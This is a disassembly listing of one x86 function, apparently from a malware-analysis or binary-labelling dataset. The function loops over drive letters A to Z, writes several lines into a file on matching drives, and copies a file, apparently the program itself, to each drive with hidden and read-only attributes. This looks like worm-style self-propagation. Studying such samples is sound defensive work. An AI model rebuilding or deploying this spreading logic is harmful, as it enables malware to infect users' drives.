Function at 0x49786c
Capabilities:
Copy file
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x42
push 0
push 0
dec ecx
jne 0x497874
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x497b40
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0x41
lea eax, [ebp - 0x1dc]
mov edx, dword [ebp - 4]
call fcn.00404ce0
mov edx, dword [ebp - 0x1dc]
lea eax, [ebp - 8]
mov ecx, 0x497b58
call fcn.00404e04
mov eax, dword [ebp - 8]
call fcn.00404fb0
push eax
call sub.kernel32.dll_GetDriveTypeA
sub eax, 3
jne 0x497b08
lea eax, [ebp - 0xc]
mov ecx, 0x497b64
mov edx, dword [ebp - 8]
call fcn.00404e04
mov eax, dword [ebp - 0xc]
call fcn.00409564
test al, al
je 0x4978f9
xor edx, edx
mov eax, dword [ebp - 0xc]
call fcn.0040967c
mov eax, dword [ebp - 0xc]
call fcn.00409798
xor eax, eax
push ebp
push 0x497a25
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x1d8]
call fcn.00402ef4
lea eax, [ebp - 0x1d8]
call fcn.00402c90
call fcn.004028ac
mov edx, 0x497b78
lea eax, [ebp - 0x1d8]
call fcn.004051cc
call fcn.004037cc
call fcn.004028ac
lea eax, [ebp - 0x1e4]
mov edx, dword [0x49ede0]
mov edx, dword [edx]
call fcn.00404cf0
mov ecx, dword [ebp - 0x1e4]
lea eax, [ebp - 0x1e0]
mov edx, 0x497b8c
call fcn.00404e04
mov edx, dword [ebp - 0x1e0]
lea eax, [ebp - 0x1d8]
call fcn.004051cc
call fcn.004037cc
call fcn.004028ac
lea eax, [ebp - 0x1ec]
mov edx, dword [0x49ede0]
mov edx, dword [edx]
call fcn.00404cf0
mov ecx, dword [ebp - 0x1ec]
lea eax, [ebp - 0x1e8]
mov edx, 0x497b9c
call fcn.00404e04
mov edx, dword [ebp - 0x1e8]
lea eax, [ebp - 0x1d8]
call fcn.004051cc
call fcn.004037cc
call fcn.004028ac
lea eax, [ebp - 0x1f4]
mov edx, dword [0x49ede0]
mov edx, dword [edx]
call fcn.00404cf0
mov ecx, dword [ebp - 0x1f4]
lea eax, [ebp - 0x1f0]
mov edx, 0x497bb4
call fcn.00404e04
mov edx, dword [ebp - 0x1f0]
lea eax, [ebp - 0x1d8]
call fcn.004051cc
call fcn.004037cc
call fcn.004028ac
lea eax, [ebp - 0x1d8]
call fcn.00403098
call fcn.004028ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x497a2f
mov edx, 3
mov eax, dword [ebp - 0xc]
call fcn.0040967c
push 0
lea eax, [ebp - 0x1fc]
mov edx, dword [0x49ede0]
mov edx, dword [edx]
call fcn.00404cf0
mov ecx, dword [ebp - 0x1fc]
lea eax, [ebp - 0x1f8]
mov edx, dword [ebp - 8]
call fcn.00404e04
mov eax, dword [ebp - 0x1f8]
call fcn.00404fb0
push eax
lea eax, [ebp - 0x204]
mov edx, dword [0x49ea3c]
mov edx, dword [edx]
call fcn.00404cf0
mov eax, dword [ebp - 0x204]
call fcn.004092f8
lea edx, [ebp - 0x200]
call fcn.0045ad14
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x208]
mov edx, dword [0x49ede0]
mov edx, dword [edx]
call fcn.00404cf0
mov edx, dword [ebp - 0x208]
pop eax
call fcn.00404dc0
mov eax, dword [ebp - 0x200]
call fcn.00404fb0
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x210]
mov edx, dword [0x49ede0]
mov edx, dword [edx]
call fcn.00404cf0
mov ecx, dword [ebp - 0x210]
lea eax, [ebp - 0x20c]
mov edx, dword [ebp - 8]
call fcn.00404e04
mov eax, dword [ebp - 0x20c]
mov edx, 3
call fcn.0040967c
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x5b
jne 0x497893
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x497b47
lea eax, [ebp - 0x210]
mov edx, 0xe
call fcn.00404b24
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404b24
ret